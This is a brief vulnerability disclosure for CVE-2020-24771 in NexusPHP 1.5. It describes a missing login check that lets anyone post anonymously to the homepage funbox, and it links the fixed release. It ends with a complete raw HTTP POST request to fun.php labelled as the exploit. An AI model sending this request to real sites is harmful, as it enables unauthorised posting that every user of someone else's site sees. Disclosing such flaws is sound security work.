CVE-2020-24771

Just have access to the site to complete the attack.

Affected software: NexusPHP 1.5

Software Download Link: http://sourceforge.net/projects/nexusphp/

fixed version: nexusphp v1.6.0-beta2 https://github.com/xiaomlove/nexusphp/releases

Github Repository https://github.com/xiaomlove/nexusphp

Vulnerability details

fun.php

Because the author forgot to add a login check, the funbox page fun.php can be accessed without logging in and can publish any content. Since there is no login to the site, the server records an empty publisher. Administrators can't ban publishers either. Funbox's content is displayed on the homepage and only 1 article can be published within 24 hours. All users will see the published content.

exploit:

```
POST /fun.php?action=add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Cookie: NO_NEED_ANY_COOKIES
Upgrade-Insecure-Requests: 1

subject=123123213213213&color=1&font=0&size=0&body=123123512323333
```